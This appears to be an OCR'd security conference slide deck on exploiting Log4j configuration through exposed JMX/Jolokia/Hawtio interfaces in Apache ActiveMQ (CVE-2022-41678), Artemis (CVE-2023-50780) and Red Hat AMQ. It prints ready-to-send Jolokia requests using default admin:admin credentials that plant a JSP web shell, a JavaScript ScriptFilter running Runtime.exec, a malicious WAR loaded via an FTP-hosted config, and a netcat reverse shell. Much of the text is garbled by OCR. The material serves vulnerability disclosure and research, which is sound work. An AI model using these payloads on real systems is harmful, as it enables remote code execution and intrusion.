<PatternLayout>
<Pattern>
<! [CDATA][

XML Configuration — Write
Malicious JSP

</Pattern>



Caveman Continous Write Result —Payload repeats ad
|\/|ode infinitum

4 127.0.0.1:8161/admin/m= x | 4% 127.0.0.1:8161/admin/cr :n:| =

& C (@ 127.0.0.1:8161/admin/mal.jsp




Caveman Continous Write Result —Payload repeats ad
|\/|ode infinitum

PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAD
PAYLOAD PAYLOAD PAYLOAD PAYLOAZ

PAYLOAD PAYLOAD PAYLOAD PAYLQ

PAYLOAD PAYLOAD PAYLOAD PAYL
PAYLOAD PAYLOAD PAYLOAD PAY. ‘(‘ }
PAYLOAD PAYLOAD PAYLOAD PAYLt
PAYLOAD PAYLOAD PAYLOAD Pg LOi\g?

S5, A
N e —




XML Configuration — Write

”SOfl St | Cate d o I_Og ROtate Malicious Content sensitive

File

<?xml version encoding
<Configuration status packages
<Appenders>
< fileName
filePattern append filePermissions
max >
<PatternLayout>
<Pattern>
***TRUNCATED* **

</Pattern>
</PatternLayout>

<Policies>
<TimeBasedTriggeringPolicy />

</Policies>
</RollingFile>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




XML Configuration — Write

”SOfl St | Cate d o I_Og ROtate Malicious Content sensitive

File

fileName

filePattern append filePermissions
ma x >




XML Configuration — Write

”SOfl St | Cate d o I_Og ROtate Malicious Content sensitive

File

<Pattern>
***TRUNCATED* **

</Pattern>



XML Configuration — Write

”SOfl St | Cate d o I_Og ROtate Malicious Content sensitive

File

<Policies>
<TimeBasedTriggeringPolicy />

</Policies>




Tangent: Controlling File s “autborised Keve
Permissions example

<?xml version encoding
<Configuration status packages
<Appenders>
<RollingFile name
filePattern
append
<PatternlLayout>
<Pattern>

***TRUNCATED* * *

</Pattern>
</PatternLayout>
<Policies>
<TimeBasedTriggeringPolicy />
<SizeBasedTriggeringPolicy size
</Policies>
</RollingFile>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Tangent: Controlling File s “autborised Keve
Permissions example

<RollingFile name

filePattern




Write Files over SMB, FILE:////  windowsonly

<?xml version encoding
<Configuration status name packages
<Appenders>
<File name fileName
<PatternlLayout>
<Pattern>
test
</Pattern>
</Patternlayout>
</File>
</Appenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Writing
Binary Content




Tangent: XML Limitation

XML allowed characters:
o #x9 | #xA | #xD | [#x20-#xD7FF] | [#xEOOO-#xFFFD] | [#x10000-#x10FFFF]

Cannot directly write a full complex binary file (EXE, JAR, WAR, etc.)

In theory we can play with multibyte characters and encodings:
» &#xCAFE;&#xBEBE;
e UTF-16 and/or UTF-32

* Groups of null bytes are hard to navigate around



L

» ' J '
. -



Log4) Configuration Formats

XML (Default)

Properties (Most Used)




ertl ng Bl Nd ry CO nte ﬂt Property Format — Write Test File

M @worker01: ~/Desktop/Logd) 2 X guest@worker01: ~/Desktop/Log4)
GNU nano 6.2 H python3 gen_prop.py

pwd

-la /tmp/test.txt
h file or directory
bad_chars
S 1s -la /tmp/test.txt
prop_template -rwxrwxr-x 1 guest guest 255 touko 4 83:14
S xxd /tmp/tes
0601 6203 0405 0607 0809 ©adb eced
1011 1213 1415 1617 1819 laib 1cid
2021 2223 2425 2829 2azb 2c2d
3831 3233 3435 3839 3a3b 3c3d 2
4243 4445 4849 4a4b 4c4d @ABCDEFGHIJKLMNO
5253 55 5859 5a5b PQRSTUVWXYZ[]”_"
6364 6566 6768 696a ] abcdefghtijklmnop
2 7374 7576 7778 797a qrstuvwxyz{|}~..
8384 B586 8788 cene feenaa
9394 9596 9798 9
2 a3a4 aSa6 a7as afbe
bib2 b3b4 b5b6 b7b8 bS C e bfce
clc2 c3c4 c5¢c6 c7cB c9 c cfde
did2 d3d4 d5d6 d7d8 ds dfee
ele2 e3ed eS5e6 eTeB ede effe
f1f2 f3f4 fsf6 f7f8 S ff

guest@workero1

INFO | Connector stomp started
INFO | Listening for connect at: mqtt://worker@1i:18837maximumConnections=1000&wireFormat
.maxFrame5ize=104857600
INFO | Connector mqtt started
INFO | arting Jetty server
INFO | Creating Jetty connector
WARN | ServletContext@o.e.j.s.ServletContextHandler@s58255aa{/,null,STARTING} has uncovered
http methods for path: /
INFO | Listening for connections at ws://worker@1:616142maximumConnections=1000&wireFormat.m
axFrameSize= 57600
INFO | Connec ws started
INFO | Apache ActiveMQ 5.17.3 (localhost, ID rker81-42563-1714781607881-0:1) started
INFO | For help or more information please se htt /activemq.apache.org
WARN | Store limit 102460 mb (current store usage is @ mb). The data directory: /home/gue
print( st /D top/Apache_ActiveMQ/apache-activemq-5.17.3/data/kahadb only has 39192 mb of usable spa
ce. - resetting to maximum available disk spac 39192 mb
prop = prop_template + x + b"\n WARN | Temporary Store limit is 51280 mb (current store usage is ® mb). The data directory:
3 /home /g top/Apache_ActiveMQ/apache-activemq-5.17.3/data only has 39192 mb of usable s
pace. - resetting to maximum available disk space: 39192 mb
£ = open( . INFO | ActiveM( WebConsole available at http://127. .1:8161/
f.write(prop) INFO | ActiveMQ Jolokia REST API available at http://127.8.6.1:8161/api/jolokia/

f.close()

2024-05-84 83:13:59,421 qtp325i 7-35 ERROR Unrecognized format specifier []
Wrote 56 Lines 2024-065-84 63:13 422 qtp325674467-35 ERROR Empty conversion specifier starting at position

& Help B write out [@ where Is t & Execute B Location 39 in conversion pattern.
& Exit il Read File @ Replace &l Justify W co 1o Line (]




ertl ng Bl Nd ry CO nte ﬂt Property Format — Write Test File

range(256):

i bad_chars:
x += bytes([1])
i == @xa:
X += b I".. II".
i == Oxd:
X += b"\\

print(

prop = prop_template + x + b"\n

f = open(
f.write(prop)
f.close()




ertl ng Bl Nd ry CO nte ﬂt Property Format — Write Test File

: S s -la ftmp/test.txt
-TWXrwWxr-x 1 guest guest 255 touko 4 03:14

: S xxd ftmp/test.txt
00000006 : 0001 0203 0405 0607 OBO9 Gadb OchHd Bedf
00000016: 1011 1213 1415 1617 1819 1alb 1cid 1leilf
00000020: 2021 2223 2425 2627 2829 2azb 2c2d 2ez2f T "HSHE ' ()*+,-./f
000000360: 3031 3233 3435 3637 3839 3a3b 3c3d 3e3f 0123456789:;<==>7
00000040: 4041 4243 4445 4647 4849 4a4d4b 4cd4d 4ed4f @ABCDEFGHIJKLMNO
000060650: 5051 5253 5455 5657 5859 5a5b 5d5e 5760 PQRSTUVWXYZ[ ]~
00000066 : 6162 63064 6560 6768 ©696a 6boc odoe o6f70 abcdefghijklmnﬂp
OEOO0OTO: 7172 7374 7576 7778 797a 7b7c 7d7e 7f80 qrstuvwxyz{|}-..
00000686 : B182 B384 B586 B78B B98a BbBc B8dBe 8T90
00006096: 9192 9394 9596 9798 9993 9b9c 9d9%e 9fan
O00000a0: alaz? a3a4 abab6 a7aB a%aa abac adae afb@
000006b6: blb2 b3b4 b5b6 b7b8 b9ba bbbc bdbe bfcé
PO0e0OCH: clc2 c3cd4 c5¢c6 c7cB c9ca cbcc cdce cfde
O000060de: did2 d3d4 d5d6 d7d8 d9da dbdc ddde dfed®
000000ed: ele2 e3ed4 eSebt e7eB e%ea ebec edee eff@
poeeeefe: fifz fif4 f5fe f7fB8 fofa fbfc fdfe




Writing Binary Content

i pworker01: ~/Desktop/Logdl

GNU_nano

readpath ys.argv[1]
writepath = sys.argv[2]

)

bad_chars [exa, @xed, 8x5c, 8x25]

prop_template = b

+ writepath.encode(

[ Wrote 62 lines ]

Property Format — Write
WAR File

guest@worker01: ~/Desktop/Log4) o =
$ python3 gen_prop.py /home/guest/Desktop/Jolokia+Log4l/jail/m

$ 1s -la /tmp/mal.war
'/tmp/mal.war': No ch file or directory
i $ 1s -la /tmp/mal.war
1 guest guest 13320 touke 4 63
E $ 1s -la [home/guest/Desktop/Jolokia+Log4]/jail/mal.war
-rW-rW-r-- 1 guest guest 13320 helmi 3 2023
S diff fhome/guest/Desktop/Jolokia+Log4 ail/mal.war /tmp/mal

s

guest@worker01: ~/Desktop/Apache_ActiveMQ/apache-activemq-5.17.3/bin

.maxFramesiz 04857680
INFO | Connector amgp started
INFO | Listening for connections at: stomp://worker®1i:61613?maximumConnections=1 &wireFor
at.maxFrameSize=104 00
INFO | Connector stomp started
INFO | Listening for connections at: mqtt://worker@1i:1883?maximumConnections=1000&wireFormat]
.maxFrameSize=104857600
INFO | Connector mqtt started
INFO | Starting Jetty server
INFO | Creating Jetty connecto
WARN | ServletContext@o.e.j.s.ServletContextHandler@s58255aa({/,null,STARTING} has uncovered
http methods for pat
INFO | Listening for connections at ws: rkerd1:61614?maximumConnections=10008&wireFormat.m
axFrameSize=184857608
INFO | Connector ws started
INFO | Apache ActiveMQ 5.17.3 (localhost, ID:worker@1-40719-1714782726471-08:1)
INFO For help or more information please see: http://activemq.apach
ore limit is 182400 mb (current store usage is 0 mb). The data director
pache_ActiveM(/apache-activemq-5.17.3/data/kahadb only has 39191 mb of usable spal
esetting to maximum available disk space: 39191 mb
Temporary Store limit is 51200 mb (current store usage is © mb). The data directory
uest/Desktop/Apache_ActiveMQ/apache-activemq-5.17.3/data only has 39191 mb of ble
tting to ma:
ActiveMQ WebConsole available at http://127.@
0 REST API available at http://



Writing Binary Content AR i ormat e

bad chars = [0xa, 0x0d, 0x5c, Ox25]




Writing Binary Content AR i ormat e

guest@worker01: ~/Desktop/Log4) & — O

$ python3 gen prop.py fhome/guest/Desktop/Jolokia+Log4l/jail/m

al.war /tmp/mal.war

: S 1s -1la ftmp/mal.war

ls: cannot access 'ftmp/mal.war': No such file or directory
S 1s -1la /ftmp/mal.war

SFWXIrwXr-x 1 gueﬂt guest 13320 touko 4 03:32

$ 1s -la /home/guest/Desktop/Jolokia+Log4]/jail/mal.war
-fW-rw-r-- 1 guest guest 13320 helmi 3 2023

S diff [home/guest/Desktop/Jolokia+Log4l/jail/mal.war [ftmp/mal

5



I Feels more like a PWN challenge than Web




Script Support



Script Support

* A.K.A. direct RCE (Remote Code Execution)

* Script Components:
* ScriptArbiter
* ScriptFilters
* ScriptPatternSelector
* ETC.

* Only works if “scriptSupport” is enabled

* Scripts:
* JavaScript
* Groovy
* Beanshell
* ETC.



SC rl pt S U p po rt Configuration containing

JavaScript

<?xml wversion encoding
<Configuration status
<Loggers>
<Logger name level additivity
<ScriptFilter onMatch onMisMatch >

<! [CDATA[
var cmd = "id";
print (
new java.io.BufferedReader (
new java.io.InputStreamReader (
java.lang.Runtime.getRuntime () .exec (cmd) .getInputStream/()

)

) .1lines () .collect (
Java.util.stream.Collectors.joining()

)

) ;
11>

</Script>
</ScriptFilter>
</Logger>
<Root level =
<ScriptFilter onMatch onMisMatch

</ScriptFilter>
</Root>
</Loggers>
</Configuration>




SC rl pt S U p p O rt JCatzlr;‘Si%:;ition containing

<?xml version encoding
<Configuration status
<Loggers>
<Logger name level additivity
<ScriptFilter onMatch onMisMatch >

<! [CDATA[
var cmd = "id";
print (
new java.lio.BufferedReader (
new java.lo.InputStreamReader (
jJjava.lang.Runtime.getRuntime () .exec(cmd) .getInputStream/()
)
) .1lines () .collect (
java.util.stream.Collectors.joining()

</Script>




JDBC



JDBC

<?xml version encoding
<Configuration status >
<Appenders>
<Console name >
<Patternlayout pattern
</Console>

<Jdbc name tableName

ignoreExceptions >
<PoolingDriver
connectionString

driverClassName
<PoolableConnectionFactory autoCommitOnReturn

** * TRUNCATED* * *>
<DisconnectionSglCodes>
<String>1</String>
<String>2</String>
</DisconnectionSglCodes>
</PoolableConnectionFactory>
</PoolingDriver>
<ColumnMapping name />
</Jdbc>
</Appenders>
<Loggers>
<Logger

level additivity
<AppenderRef ref
</Logger>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>

https://github.com/apache/loggin

g-log4j2/blob/2.x/log4j-jdbc-

dbcp2/src/test/resources/log4j2-

jdbc-dbcp2.xml



https://github.com/apache/loggin

I J D BC g-log4j2/blob/2.x/log4j-jdbc-
dbcp2/src/test/resources/log4j2-
jdbc-dbcp2.xml

<PoolingDriver
connectionString

driverClassName
<PoolableConnectionFactory autoCommitOnReturn




Java Messaging
Extension (JMX)



Java Management Extensions
(JMX)

Extension over RMI

Fetch records (classes, functions and attributes) from JMX Registry

* Flow:
* Send signature (function + arguments + other info) to server
e Server returns the result result

Unauthenticated JMX == Death by MLET



5.0 SHADES OF JAVA
EXPLOITATION ©

MATEI “MAL” BADANOIU p

R4
() pefcanp/

\




Major JMX Security Concerns

 Preauthenticated Deserialization
e Unauthenticated MLet Install

e Post-authenticated shenanigans
* MBean Function Calls
* MBean Attribute Read/Write (get/set)
* Deserialization via Function Arguments



IMX over HI TP

Inbuilt “JMX-Console” Tomcat, Jboss, etc.

3rd party software:
* Jolokia
* Hawtio

No Deserialization
No MLets

Can still call exposed Java Functions and modify attributes (shenanigans)




Log4d] + JMX

LogdIMX



@hawtio

A

JMX Jconsole

Log4)MX

Exposed
MBeans
(JMX,
Jolokia,
Hawtio, etc)

lolokia

JMX on Capsaicin



Log4JMX 4

\\
Exposed
MBeans
(JMX,
Jolokia, © JMX Jconsole

Hawtio, etc)

_@mm




y' gonn‘g have a baditime®
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Apache ActiveMQ and
Alfresco



Alfresco

Alfresco Docker Compose comes bundeled with a docker image for ActiveMQ

Image has default credentials (admin:admin)
Found Log4JMX here

Wanted to report it to Alfresco

* But..



=

s

" WAIT A MINUTE ..




Alfresco

Alfresco Docker Compose comes bundeled with a docker image for ActiveMQ

Image has default credentials (admin:admin)
Found Log4JMX here
Wanted to report it to Alfresco

e But ... realised that the problem may be in Apache ActiveMQ



Apache ActiveMQ

CVE-2022-41678 (Long Story)

Jolokia

Jetty Server with JSP support

Default credentials are “admin:admin”
Exploit: Write Arbitrary JSP to get RCE



Use relative path traversal

I Write Arbitrary Content to
“mal.jsp”

<File name fileName




Write Arbitrary Content to
“mal.jsp”

System Commands in JSP

<Pattern>
<! [CDATA][

</Pattern>



Write Arbitrary Content to
“mal.jsp”

Log4) XML Configuration

<?xml version encoding
<Configuration status name packages
<Appenders>
<File name fileName
<PatternLayout>
<Pattern>
<! [CDATA[

</Pattern>
</PatternLayout>
</File>
</BAppenders>
<Loggers>
<Root level >
<AppenderRef ref
</Root>
</Loggers>
</Configuration>




Write Arbitrary Content to
“mal.jsp”

Jolokia HTTP Request

"<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration status=\"debug\" name=\"MyApp\" packages=\"\">

<Appenders>
<File name=\"MyFile\" fileName=\"../webapps/admin/mal.jsp\">
<PatternLayout>
<Pattern>
<! [CDATA[

<% Runtime.getRuntime () .exec(new String[] { \"/bin/sh\", \"-c\",
\"id>. . /webapps/admin/cmd.out\" }); %>win'
<br/>
11>
</Pattern>
</PatternLayout>
</File>
</Appenders>
<Loggers>
<Root level=\"debug\">
<AppenderRef ref=\"MyFile\"/>
</Root>
</Loggers>
</Configuration>",




Write Arbitrary Content to
“mal.jsp”

Jolokia HTTP Request

{

Iltype“ . llexec“’
"mbean": "org.apache.logging.log4j2:type=2b9%9627bc",
"operation”" : "setConfigText”,

"arguments": [
"<?xml version=\"1.0\" encoding=\"UTF-8\"?2>




Write Arbitrary Content to
“mal.jsp”

Jolokia HTTP Request

POST /api/jolokia HTTP/1.1

Host: 127.0.0.1:8161
Authorization: Basic YWRtaWde6YWRtaWd=

Origin: a
Content-Length: 731




Write Arbitrary Content to
“mal.jsp”

Jolokia HTTP Request

POST /api/jolokia HTTP/1.1

Host: 127.0.0.1:8161

Authorization: Basic YWRtaW46YWRtaWd=
Origin: a

Content-Length: 731

{

Iltypell . ||execll’
"mbean": "org.apache.logging.log4j2:type=2b9%9627bc",
"operation”" : "setConfigText",

"arguments": [
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration status=\"debug\" name=\"MyApp\" packages=\"\">

<Appenders>
<File name=\"MyFile\" fileName=\"../webapps/admin/mal.jsp\">
<PatternLayout>
<Pattern>
<! [CDATA[

<% Runtime.getRuntime () .exec(new String[] { \"/bin/sh\", \"-c\",
\"id>. . /webapps/admin/cmd.ocut\" }); %>win'
<br/>
11>
</Pattern>
</Patternlayout>
</File>
</Appenders>
<Loggers>
<Root level=\"debug\">
<AppenderRef ref=\"MyFile\"/>
</Root>
</Loggers>
</Configuration>",
“utf_8"]
}




I Write Arbitrary Content to .
RCE == Winning

“mal.jsp”

W 127.0.0.1:8161/admin/m: x | 49 127.0.0.1:8161/adminfcm x | +

= C ® 127.0.0.1:8161/admin/mal.jsp
win'
win
win
win
win
win
win

W |ocalhost: ActiveMQ Con x | 49 127.0.0.1:8161/admin/m= x | 4 127.0.0.1:8161/adminfcm x | +

& C ® 127.0.0.1:8161/admin/cmd.out

uid=1000(guest) gid=1008(guest) groups=1080(guest),4(adm),24(cdrom),27(sudo),36(dip),46(plugdev),126(lpadmin},132(1xd)},133(sambashare]




Apache Artemis




Apache Artemis

e CVE-2023-50780

* Hawtio

 Jetty Server without JSP support

e Can be misconfigured to accept anonymous login

* Exploit: Replace one or more WAR Files and restart the server using
“restartEmbeddedWebServer()”

 Alternative Exploit: Write “broker.xml”, shutdown the server and wait for a
developer/server admin to restart the application



. . Find Path to “web” directory via
erte I\/I a | |C | O u S WAR Runtime = System Properties

APACHE

&5 ACTIVE

2/

J r'\" :*-.

System Properties Metrics Threads

Runtime

System Properties

Diagnostics
MName ~

66 Results

Property Value

artemis.default.sensitive.string.codec.key

artemis.instance /home/guest/Desktop/Apache_Artemis/apache-artemis-2.27.1/bin/test
artemis.instance.etc fhome/guest/Desktop/Apache_Artemis/apache-artemis-2.27.1/bin/test/etc
awt.toolkit sun.awt.X11.XToolkit

data.dir fhome/guest/Desktop/Apache_Artemis/apache-artemis-2.27.1/bin/test/data




Write Malicious WAR o o Properties

: S xxd log4j2.properties
00000000 : 2e6c 6576 656c rootLogger.level
00000010: 744c 6T67 6765 =DEBUG.rootlLogge
00000020: ] 5265 662e 6c6T r.appenderRef.lo
00000030: 526F 6c6c 696e gfile.ref=Rollin
00000040: 696c 6520 6170 gFile..# File ap
00000050 : : 656e 6465 722e pender.appender.
00000060 : 7065 3d52 6f6c logfile.type=Rol
000000670: 4163 6365 7373 1lingRandomAccess
0OOO0080: 6465 722e 6¢c6f File.appender.lo
00000090: 3d52 6f6c 6c69 gfile.name=Rolli
GELEEEERR 656e 6465 722e ngFile.appender.
000000b0O: 6c65 4e61 6d65 |logfile.fileName
000000cO: 7374 2f44 6573 |=/homefguest/Des
GEEEEELEE 655F 4172 7465 |ktop/Apache Arte
000000e0: 2d61 7274 656d |mis/apache-artem
0O0606TO: 7765 622Ff 6172 |is-2.27.1/web/far
00000100: 696e 2e77 6172 |[temis-plugin.war

]
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Write Malicious WAR o o Properties

OD0OZ260: 732e 7369 s.s5ize.size=2?.ap
0000B270: 7065 O6ebd pender.logfile.l
00000280: 6179 6T75 ayout.pattern=PK
00000290: 0304 1400 D

00000230: 0000 0000

000002b0: 494e 462fF INF/PK

000002cO: 6e55 b6e9 nu...W

00000200: 0000 5745 . .WEB-INF fweb.xm
000002e0: 6c95 4fch L.O.N.O...+...X.




Write Malicious WAR Jolokia HTTP Request

POST /console/jolokia HTTP/1.1

Host: 127.0.0.1:8161

Authorization: Basic YWRtaW46YWRtaW4d=
Origin: http://localhost
Content-Length: 166

{
lltypell . “W]’_‘iten,
"mbean": "org.apache.logging.log4dj2:type=76ed5528",
"attribute":"ConfigLocationUri",
"value":"ftp://192.168.50.195:2121/10g4j2.properties”




Write Malicious WAR corfigoration fle ver FTP

: S python3 gen _prop.py /home/guest/Desktop/Jolokia+Log4]/jal
1l/mal.war fhome/guest/Desktop/Apache_

Artemis/apache-artemis-2.27.1/webfartemis-plugin.war
ls -1a

total 28

drwxrwxr-x 2 guest guest 4096 touko 9
drwxrwxr-x 4 guest guest 4096 touko 9
-rWw-rw-r-- 1 guest guest 1166 touko 9
-rw-rw-r-- 1 guest guest 14277 tmukﬂ 9

Pod Lad
o)
ad

T Ll

o]
L oo

gen_prop.py
log4j2.properties
S pytho -m pyftpdlib

concurrency Nudrl SYNC

masquerade (MNAT) address: None

passive ports: None

=55 'tart1ng FTF server on 0.0.0.0:2121, pid=451544 <<=

192, 808-[] FTP session opened (connect)

192.: 3@8-[anonymous] USER 'anonymous' logged 1in.

192. lm;,Ju,qu 808-[anonymous] RETR fhome/guest/Desktop/Log4]/jail/l
og4j2.properties completed=1 bytes=1427 :ECﬂnd:_ﬂ 001

192.168.50.195:55808-[anonymous] FTP session closed (disconnect).

Pl Pl B Pd

: L Lad
ad
=)

ﬂ_| ad s% 2% sx ss




Write I\/l e | |C| ous WAR Observing the Log4) configuration

changes in Artemis

Artemis B8 ; :
RollingFile
JMX > IR JMimplementation

. > I com.sun.management Attributes Operations Chart
Runtime > I hawtio

> Im javalang

Attributes

Diagnostics > M java.nio

> I java.util.logging Attribute Value

> M jdk.management jfr Error handler org.apache.logging.log4j.core.appender.DefaultErrorHandler@5c10bc

> I jmxdperl

! p Filter nu
> I jolokia
. Ignore exceptions true
> [ org.apache.activemq.artemis
~ W org.apache.logging.log4j2 Layout PKévnUWEB-INF/PKévnUYécWeWEB-INF/web.xmIOENADYc+x¥ej *AOVSa8laWiMHyKpa6;;;3-H/thyCi.o$»)>U rE~
~ B 76ed5528 Name RollingFile
~ I Appenders Object Name org.apache.logging.log4j2:type=76ed5528,component=Appenders,name=RollingFile

® RollingFile >

@ ContextSelector
> I Loggers
@ StatusLogger




I Write

Malicious WAR

Observing the Log4) configuration
changes in Artemis

lgnore exceptions true
Layout PKéanWEB-INF.fF‘KévnUﬂ]éCWéWEEl-INFa‘web.meDENﬁmﬁgﬂi}‘z; *ﬁfWSéEIéWiMHj.'f}{p.'ziE-;;;3-H.-'}h3,rc‘|.b$n]}ﬂ_rE=...
Name

Object Mame

RollingFile

org.apache logging.logdj2:type=76ed5528 component=Appenders,name=RollingFile




Restart Embedded Jetty

Artemis

JMX

Runtime

Diagnostics

APACHE

ACTIVE

B8

> IR JMImplementation
> B com.sun.management
> I hawtio
> I javalang
> [ java.nio
> M java.util.logging
> M@ jdk.management.jfr
> I jmxéper|
> I jolokia
~ [ org.apache.activemg.artemis
» I acceptors
> I addresses
~ Im org.apache logging.log4j2
~ I 76ed5528
~ @ Appenders
© RollingFile
© ContextSelector
> IR Loggers

© StatusLogger

0.0.0.0

Attributes Operations Chart

Reset all message counters history

» resetAllMessageCounters()

Reset all message counters

y resetUser(String, String, String)

Restart the Embedded Jetty
server to load the new WAR

set new properties on an existing user (only applicable when using the JAAS PropertiesLoginModule or the ActiveMQBasicSecurityManager)

s resetUser(String, String, String, boolean)

set new properties on an existing user (only applicable when using the JAAS PropertiesLoginModule or the ActiveMQBasicSecurityManager)

. restartEmbeddedWebServer()

restart the embedded web server; wait the default 5000 milliseconds to ensure restart completes successfully

This JMX operation requires no arguments. Click th

Execute’ button to invoke the operation




Write Malicious WAR Triggering the RCE

nobody@worker®1:/$ curl -L localhost:8161/artemis-plugin/

nobody@worker®1: /5 nc -nlvp 4444

Listening on 0.0.0.0 4444

Connection received on 127.0.6.1 52896

id

uid=1008(guest) gid=1080(quest) groups=1000(guest),4(adm),24(cdrom),27(sudo),30(dip),46(plugde
v),120(1lpadmin),132(1lxd),133(sambashare)

pwd

ipﬂmefguESthESEtmpfﬁpache_ﬁrtemi5fapache-artemi5-L,E?.lfbinftEStfhin




RedHat AMQ




RedHat AMQ

* No CVE (probably falls under CVE-2023-50780)

e Have yet to answer my emails






RedHat AMQ

No CVE (probably falls under CVE-2023-50780)
Have yet to answer my emails

Misconfigured Artemis:
* Hawtio
* Jetty Server without JSP support
* Misconfigured Log4) allows script support

Exploit: Load malicious directly scripts into the Lo4J Configuration



JavaScript in Log4J) XML

Malicious ScriptFilter Configuration

<ScriptFilter onMatch onMisMatch

<! [CDATA [
var cmd = "id";
print (
new java.1io.BufferedReader (
new java.lo.InputStreamReader (
java.lang.Runtime.getRuntime () .exec (cmd) .getInputStream/()
)
) .1lines () .collect (
jJava.util.stream.Collectors.joining()

)

</Script>




Ma||C|OUS SC|"|ptF||ter JavaScript in Log4J) XML

Configuration

<?xml version encoding
<Configuration status
<Loggers>

<Logger name level additivity
<ScriptFilter onMatch onMisMatch >

<! [CDATA[
var cmd = "id";
print (
new java.io.BufferedReader (
new java.io.InputStreamReader (

Jjava.lang.Runtime.getRuntime () .exec(cmd) .getInputStream()

)

) .lines () .collect (
Java.util.stream.Collectors.joining/()

)

</Script>
</ScriptFilter>
</Logger>
<Root level >

<ScriptFilter onMatch onMisMatch

</ScriptFilter>
</Root>
</Loggers>
</Configuration>




I Malicious ScriptFilter Jolokia Request

{"type":"exec","mbean" :"org.apache.logging.log4j2:type=15b642b9", "operation" :"setConfigT
ext (java.lang.String, java.lang.String)", "arguments": ["<?xml version=\"1.0\"
encoding=\"UTF-8\"?> <Configuration status=\"debug\" name=\"RCETest\"> <Loggers>
<Logger name=\"EventLogger\" level=\"debug\" additivity=\"false\"> <ScriptFilter
onMatch=\"ACCEPT\" onMisMatch=\"DENY\"> <Script name=\"RCE\"
language=\"javascript\"><! [CDATA[ \t\tvar cmd = \"id\"; \t\tprint (new
java.io.BufferedReader (new

java.io.InputStreamReader (java.lang.Runtime.getRuntime () .exec (cmd) .getInputStream())) .11

nes () .collect(java.util.stream.Collectors. joining())); 11>
</Script> </ScriptFilter> </Logger> <Root level=\"debug\">
<ScriptFilter onMatch=\"ACCEPT\" onMisMatch=\"DENY\"> <ScriptRef ref=\"RCE\"/>

</ScriptFilter> </Root> </Loggers> </Configuration>","utf-8"]}




I Malicious ScriptFilter Jolokia Request

POST
/console/jolokia/?maxDepth=7&maxCollectionSize=50000&ignoreErrors=true&canonicalNaming=f
alse HTTP/1.1

Host: localhost:81l6l

Content-Length: 923

Content-Type: text/json

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4758.82 Safari/537.36

Origin: http://localhost:8161

Referer: http://localhost:8161/console/jmx/operations?nid=root-
org.apache.logging.log4j2-15b642b9%

Cookie: JSESSIONID=nodeOlwcofwogObg791gmzbz8v99d8e0.nodel

Connection: close

{"type":"exec", "mbean":"org.apache.logging.log4j2:type=15b642b9", "operation":"setConfigT
ext (java.lang.String, java.lang.String)", "arguments": ["<?xml version=\"1.0\"
encoding=\"UTF-8\"?> <Configuration status=\"debug\" name=\"RCETest\"> <Loggers>
<Logger name=\"EventLogger\" level=\"debug\" additivity=\"false\"> <ScriptFilter
onMatch=\"ACCEPT\" onMisMatch=\"DENY\"> <Script name=\"RCE\"
language=\"javascript\"><! [CDATA[ \t\tvar cmd = \"id\"; \t\tprint (new
java.io.BufferedReader (new

java.io.InputStreamReader (java.lang.Runtime.getRuntime () .exec(cmd) .getInputStream())) .1li

nes () .collect(java.util.stream.Collectors. joining())) ; 11>
</Script> </ScriptFilter> </Logger> <Root level=\"debug\">
<ScriptFilter onMatch=\"ACCEPT\" onMisMatch=\"DENY\"> <ScriptRef ref=\"RCE\"/>

</ScriptFilter> </Root> </Loggers> </Configuration>", "utf-8"]}




Malicious ScriptFilter Yey RCE

:40:00 INFO {qtpl945915791-36} : Hawtio login is using 1800 sec. HttpSession timeout
2:40:01 INFO {qtpl945915791-38} : Keycloak integration is disabled
22:40:03 INFO {qtpl945915791-39} : Logging in user: admin
2023-02-08 2 4:51,675 qtpl945915791-36 DEBUG Loaded configuration from stream (734 bytes, unknown location)
2023-62-08 22:44:51,680 qtpl945915791-36 DEBUG Starting LoggerContext[name=15b642b9, org.apache.logging.log4j.core.LoggerContex d6d4806c] with configuration XmlConfiguration[location=stream (734 b
ytes, unknown location)]...
51,681 qtpl945915791-36 DEBUG Apache Log4j Core 17.1.redhat-00002 initializing configuration XmlConfiguration[location r 4 by unknown location)]
2:44:51,681 qtpl945915791-36 DEBUG Installed 1 script engine
horn engine is planned to be removed from a future JDK release
23-02-08 22:44:52,111 qtpl945915791-36 DEBUG Oracle Nashorn version: 11.0.18, language: ECMAScript, threading: Thread Safe, compile: true, names: [nashorn, Nashorn, js, JS, JavaScript, javasc
ript ECMAScript, ecmascript], factory cla jdk.nashorn.api.scripting.NashornScriptEngineFactory
4:52,111 qtpl945915791-36 DEBUG PluginManager 'Core' found 127 plugins
4:52,112 qtpl1945915791-36 DEBUG PluginManager 'Level' found © plugins
qtpl945915791-36 DEBUG PluginManager 'Lookup’ found 16 plugins
qtpl945915791-36 DEBUG Building Plugin[name 3 class=orag.apache.logging.log4i.core.script. Scllntl
qtpl945915791-36 DEBUG createScript(nam , languag javascript®, scriptText r cmd id"; rint(new java.io.Buf edReader (new java.io.InputStreamReade
untlme getRuntlmeli xec(cmd) .getInputStream())).lines().collect(java.util. Rtream Collectors. Julnlnq!)%)
qtpl945915791-36 DEBUG Building PLlugin[nam il , class g.apache.logging.log4j.cor ilt criptFilter]
qtpl945915791-36 DEBUG createFilter(Script(RCE), onMatch="ACCEPT", onMismatch="DENY", Configuration(RCETest))
is planned to be removed from a future JDK rel
qtpl1945915791-36 DEBUG Bulldlnq Plugin[nam gg
qtp1945915791-36 DEBUG c er(a , le a = a l", ={}, ={}, Configuration(RCETest), ScriptFilter(RCE))
qtpl1945915791-36 DEBUG { i
qtpl945915791-36 DEBUG createRefer ACE" Configuration(RCETest))
qtpl945915791-36 DEBUG Building Plugin[nam class=org.apache.logging.log4j.core.filter.ScriptFilter]
qtpl945915791-36 DEBUG createFilter(ScriptRef(ri E), onMatch="ACCEPT onMismatch="DENY", Configuration(RCETest))
